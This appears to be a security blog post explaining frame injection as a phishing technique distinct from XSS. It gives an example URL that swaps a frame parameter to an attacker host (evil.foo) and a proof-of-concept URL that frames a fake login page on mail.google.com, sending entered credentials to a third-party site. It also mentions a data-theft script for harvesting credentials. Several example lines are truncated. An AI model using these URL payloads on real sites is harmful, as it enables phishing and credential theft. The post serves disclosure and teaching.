Frame Injection Fun

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Content

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by pagvac

Frame injection vulnerabilities, although some people might consider them the same as HTML injection/XSS or even a subset, they really are not the same. Here is why:

- There is no need to inject special control characters such as angle brackets (unlike HTMLi/XSS)
- HTMLi/XSS filtering routines will not project against frame injection since the attacker only needs to insert a URL in the non-sanitized parameter

The best way to explain what I mean is to show an example. Most frame injection issues occur in web applications because dynamic frameset/iframe insertion is not implemented with enough filtering. For instance, say that we have the following URL on the target site:

```
https://www.victim.foo/index.php?**targeturl**=/contact.php

A malicious user with intentions of launching a phishing attack will try tampering the `targeturl` parameter. His goal is

https://www.victim.foo/index.php?**targeturl**=http://evil.foo/login.php

I thought that showing a live example would help our readers get an idea of what frame injection looks in action. For t

http://mail.google.com/imgres?imgurl=http://SecureGoogleMail&**imgrefurl**=http://mail.google.com/imgres?imgurl=http:/
```

[image: Frame Injection Fun POC]

The previous PoC URL will cause the entered credentials to be submitted to www.gnucitizen.org when clicking on Sign in, so please do NOT submit any real credentials!

> pIn short:p The attacker has managed to display a non-legitimate third-party page, while the legitimate domain (mail.google.com in this case) is shown in the address bar.The beauty of frame injection attacks is that the attacker is able to impersonate a trusted entity without needing to bypass XSS/HTMLi filters or even break into the target server.

Needless to say, in real-life the attacker would most likely automate the process of obtaining the harvested credentials by using a tool such as our x.php data-theft script.

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